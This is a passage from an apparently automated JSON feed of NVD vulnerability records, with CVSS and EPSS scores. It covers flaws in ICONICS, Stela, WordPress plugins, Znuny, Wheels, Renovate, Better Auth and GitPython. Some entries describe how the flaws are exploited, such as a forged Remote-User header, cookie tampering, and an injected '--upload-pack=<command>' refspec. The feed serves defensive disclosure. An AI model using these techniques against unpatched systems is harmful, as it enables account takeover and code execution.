AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, MC Works64 all versions, GENESIS32 all versions, BizViz all versions, Mitsubishi Electric Iconics Digital Solutions GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, GENESIS32 all versions, and BizViz all versions allows a remote attacker to unlock the system by obtaining the challenge response by some means. The challenge response used to unlock the system is common to all users and fixed. As a result, the attacker may disclose, tamper with, destroy, or delete internal information, or cause the affected system to enter a denial-of-service (DoS) condition.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:16.717Z","updatedAt":"2026-10-16T06:17:10.253Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-16436","asOf":"2026-10-16T06:17:10.253Z"},"epss":{"probability":0.00322,"percentile":0.25012,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-16436&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-16436","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-16436","type":"primary","publishedAt":"2026-10-15T09:17:16.717Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-16436&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-16436, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101287","cveId":"CVE-2026-101287","aliases":[],"kind":"vulnerability","title":"Authentication bypass vulnerability in Stela, versions prior to 1.60.1, due to the use of a cookie named “authProcess” without validating its integrity.","summary":"Authentication bypass vulnerability in Stela, versions prior to 1.60.1, due to the use of a cookie named “authProcess” without validating its integrity. The application stores the user identifier (userId) and the status of the authentication process (validSteps) in this cookie and relies on these values—which can be modified by the client—to complete the login process.\n\n\n\nA remote attacker, without valid credentials or interaction from other users, could manipulate the cookie to bypass authentication checks and impersonate any account, including one with SUPER_ADMIN privileges. This would allow the attacker to obtain a valid JWT token with administrative privileges and compromise the confidentiality and integrity of the application.","detail":"Authentication bypass vulnerability in Stela, versions prior to 1.60.1, due to the use of a cookie named “authProcess” without validating its integrity. The application stores the user identifier (userId) and the status of the authentication process (validSteps) in this cookie and relies on these values—which can be modified by the client—to complete the login process.\n\n\n\nA remote attacker, without valid credentials or interaction from other users, could manipulate the cookie to bypass authentication checks and impersonate any account, including one with SUPER_ADMIN privileges. This would allow the attacker to obtain a valid JWT token with administrative privileges and compromise the confidentiality and integrity of the application.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:14.367Z","updatedAt":"2026-10-15T16:33:47.027Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101287","asOf":"2026-10-15T16:33:47.027Z"},"epss":{"probability":0.00398,"percentile":0.33703,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101287&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101287","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101287","type":"primary","publishedAt":"2026-10-15T09:17:14.367Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101287&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101287, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109145","cveId":"CVE-2026-109145","aliases":[],"kind":"vulnerability","title":"The User Rights Access Manager WordPress plugin through 1.1.3 does not restrict access to one of its AJAX account-registration handlers and assigns newly registered accounts a...","summary":"The User Rights Access Manager WordPress plugin through 1.1.3 does not restrict access to one of its AJAX account-registration handlers and assigns newly registered accounts a role that was created as a copy of the administrator role, allowing unauthenticated attackers to register an administrator-equivalent account and take over the site.","detail":"The User Rights Access Manager WordPress plugin through 1.1.3 does not restrict access to one of its AJAX account-registration handlers and assigns newly registered accounts a role that was created as a copy of the administrator role, allowing unauthenticated attackers to register an administrator-equivalent account and take over the site.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:17:58.617Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109145","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.00277,"percentile":0.19923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109145&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109145","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109145","type":"primary","publishedAt":"2026-10-15T07:17:58.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109145&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109145, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108587","cveId":"CVE-2026-108587","aliases":[],"kind":"vulnerability","title":"The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including,...","summary":"The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.34.10 via the compressCustom function. This is due to missing file type validation and extension filtering on the page_id parameter, combined with a world-readable leaked nonce that bypasses authentication checks. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. This exploit chain requires obtaining the plugin's REST nonce (tenwebio_rest), which is automatically serialized to a world-readable file under wp-content/uploads/ whenever a bulk optimisation batch pauses; because the nonce is generated in a cron/loopback context with a user ID of 0, it is valid for unauthenticated visitors.","detail":"The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.34.10 via the compressCustom function. This is due to missing file type validation and extension filtering on the page_id parameter, combined with a world-readable leaked nonce that bypasses authentication checks. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. This exploit chain requires obtaining the plugin's REST nonce (tenwebio_rest), which is automatically serialized to a world-readable file under wp-content/uploads/ whenever a bulk optimisation batch pauses; because the nonce is generated in a cron/loopback context with a user ID of 0, it is valid for unauthenticated visitors.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T05:17:02.637Z","updatedAt":"2026-10-15T17:17:14.450Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108587","asOf":"2026-10-15T17:17:14.450Z"},"epss":{"probability":0.00916,"percentile":0.59923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108587&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108587","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108587","type":"primary","publishedAt":"2026-10-15T05:17:02.637Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108587&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108587, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93483","cveId":"CVE-2026-93483","aliases":[],"kind":"vulnerability","title":"In Znuny through 7.3.6, an attacker can bypass specific standard login procedures and gain unauthorized access to sensitive system functions by manipulating a specific HTTP...","summary":"In Znuny through 7.3.6, an attacker can bypass specific standard login procedures and gain unauthorized access to sensitive system functions by manipulating a specific HTTP request header. Because the application incorrectly trusts this header, an attacker can impersonate any user, including administrators, without requiring a password. This grants full access to confidential data and system controls. More specifically, the HTTPBasicAuth modules for the agent (Kernel::System::Auth::HTTPBasicAuth) and customer (Kernel::System::CustomerAuth::HTTPBasicAuth) interfaces read the username to log in not only from $ENV{REMOTE_USER} (set by the web server after successful authentication), but also, as a fallback, from $ENV{HTTP_REMOTE_USER}, which is populated directly from an attacker-controllable \"Remote-User\" request header. On systems where HTTPBasicAuth was configured as the authentication backend, this allowed an attacker to log in as any existing user by sending a request with a forged Remote-User header, without providing any credentials.","detail":"In Znuny through 7.3.6, an attacker can bypass specific standard login procedures and gain unauthorized access to sensitive system functions by manipulating a specific HTTP request header. Because the application incorrectly trusts this header, an attacker can impersonate any user, including administrators, without requiring a password. This grants full access to confidential data and system controls. More specifically, the HTTPBasicAuth modules for the agent (Kernel::System::Auth::HTTPBasicAuth) and customer (Kernel::System::CustomerAuth::HTTPBasicAuth) interfaces read the username to log in not only from $ENV{REMOTE_USER} (set by the web server after successful authentication), but also, as a fallback, from $ENV{HTTP_REMOTE_USER}, which is populated directly from an attacker-controllable \"Remote-User\" request header. On systems where HTTPBasicAuth was configured as the authentication backend, this allowed an attacker to log in as any existing user by sending a request with a forged Remote-User header, without providing any credentials.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T04:18:30.153Z","updatedAt":"2026-10-19T19:18:14.380Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:L/U:Red","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93483","asOf":"2026-10-19T19:18:14.380Z"},"epss":{"probability":0.00234,"percentile":0.14192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93483&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93483","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93483","type":"primary","publishedAt":"2026-10-15T04:18:30.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93483&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93483, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110911","cveId":"CVE-2026-110911","aliases":[],"kind":"vulnerability","title":"Wheels 1.1.8 through 4.1.1 allows SQL injection when caller-supplied quoted values are parsed again as SQL by dynamic finders (such as findOneByEmail), the query builder's...","summary":"Wheels 1.1.8 through 4.1.1 allows SQL injection when caller-supplied quoted values are parsed again as SQL by dynamic finders (such as findOneByEmail), the query builder's where(property, value) and where(property, operator, value), string/UUID-key lookup paths (findByKey, updateByKey, deleteByKey and findOrCreateBy...), and validatesUniquenessOf. The parser incorrectly treats a doubled single quote as the end of a literal. Applications passing request data to these APIs can expose authentication, password-reset or token lookups, and data to unauthorized access; numeric-column values are not affected. There is a similar concern for query-builder whereBetween() in 4.0.0 through 4.1.1: string/date bounds can alter SQL on MySQL/MariaDB with backslash escaping enabled. This is fixed in 4.1.2.","detail":"Wheels 1.1.8 through 4.1.1 allows SQL injection when caller-supplied quoted values are parsed again as SQL by dynamic finders (such as findOneByEmail), the query builder's where(property, value) and where(property, operator, value), string/UUID-key lookup paths (findByKey, updateByKey, deleteByKey and findOrCreateBy...), and validatesUniquenessOf. The parser incorrectly treats a doubled single quote as the end of a literal. Applications passing request data to these APIs can expose authentication, password-reset or token lookups, and data to unauthorized access; numeric-column values are not affected. There is a similar concern for query-builder whereBetween() in 4.0.0 through 4.1.1: string/date bounds can alter SQL on MySQL/MariaDB with backslash escaping enabled. This is fixed in 4.1.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T04:18:22.813Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110911","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00297,"percentile":0.22131,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110911&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110911","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110911","type":"primary","publishedAt":"2026-10-15T04:18:22.813Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110911&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110911, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110867","cveId":"CVE-2026-110867","aliases":[],"kind":"vulnerability","title":"Renovate before 44.60.1 contains an allowlist bypass vulnerability that allows repositories to set restricted environment variables by placing env inside a shared preset.","summary":"Renovate before 44.60.1 contains an allowlist bypass vulnerability that allows repositories to set restricted environment variables by placing env inside a shared preset. Attackers controlling an externally sourced preset can override variables like PATH, LD_PRELOAD, NODE_OPTIONS, or GIT_SSL_CAINFO in child processes on self-hosted instances.","detail":"Renovate before 44.60.1 contains an allowlist bypass vulnerability that allows repositories to set restricted environment variables by placing env inside a shared preset. Attackers controlling an externally sourced preset can override variables like PATH, LD_PRELOAD, NODE_OPTIONS, or GIT_SSL_CAINFO in child processes on self-hosted instances.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:28.397Z","updatedAt":"2026-10-16T18:14:51.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110867","asOf":"2026-10-16T18:14:51.460Z"},"epss":{"probability":0.00277,"percentile":0.19965,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110867&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110867","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110867","type":"primary","publishedAt":"2026-10-14T23:17:28.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110867&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110867, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110864","cveId":"CVE-2026-110864","aliases":[],"kind":"vulnerability","title":"Better Auth from 1.5.0-beta.12 before 1.7.7 contains an authentication bypass vulnerability in the OAuth Proxy plugin that allows unauthenticated attackers to sign in as other...","summary":"Better Auth from 1.5.0-beta.12 before 1.7.7 contains an authentication bypass vulnerability in the OAuth Proxy plugin that allows unauthenticated attackers to sign in as other users by forging encrypted profiles. When the proxy shares the global secret and cookie-stored state is used, attackers can obtain encrypted state for a fake profile with a victim's verified email to take over the account via implicit linking.","detail":"Better Auth from 1.5.0-beta.12 before 1.7.7 contains an authentication bypass vulnerability in the OAuth Proxy plugin that allows unauthenticated attackers to sign in as other users by forging encrypted profiles. When the proxy shares the global secret and cookie-stored state is used, attackers can obtain encrypted state for a fake profile with a victim's verified email to take over the account via implicit linking.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:27.970Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110864","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00288,"percentile":0.21095,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110864&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110864","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110864","type":"primary","publishedAt":"2026-10-14T23:17:27.970Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110864&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110864, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110862","cveId":"CVE-2026-110862","aliases":[],"kind":"vulnerability","title":"Better Auth from 1.4.0-beta.18 before 1.7.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to sign in as other users by reusing OAuth state...","summary":"Better Auth from 1.4.0-beta.18 before 1.7.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to sign in as other users by reusing OAuth state values as Magic Link tokens. Attackers can start an OAuth sign-in with a victim's email and submit the returned state to Magic Link verification, gaining sessions or creating falsely email-verified accounts.","detail":"Better Auth from 1.4.0-beta.18 before 1.7.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to sign in as other users by reusing OAuth state values as Magic Link tokens. Attackers can start an OAuth sign-in with a victim's email and submit the returned state to Magic Link verification, gaining sessions or creating falsely email-verified accounts.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:27.673Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110862","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00321,"percentile":0.24874,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110862&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110862","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110862","type":"primary","publishedAt":"2026-10-14T23:17:27.673Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110862&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110862, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110858","cveId":"CVE-2026-110858","aliases":[],"kind":"vulnerability","title":"GitPython from 3.1.30 before 3.2.0 contains a remote code execution vulnerability in Remote.pull() whose unsafe-option guard inspects only keyword arguments, not the positional...","summary":"GitPython from 3.1.30 before 3.2.0 contains a remote code execution vulnerability in Remote.pull() whose unsafe-option guard inspects only keyword arguments, not the positional refspec. Attackers controlling the refspec can supply --upload-pack=<command> to execute OS commands as the calling process over local-path or SSH transports.","detail":"GitPython from 3.1.30 before 3.2.0 contains a remote code execution vulnerability in Remote.pull() whose unsafe-option guard inspects only keyword arguments, not the positional refspec. Attackers controlling the refspec can supply --upload-pack=<command> to execute OS commands as the calling process over local-path or SSH transports.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 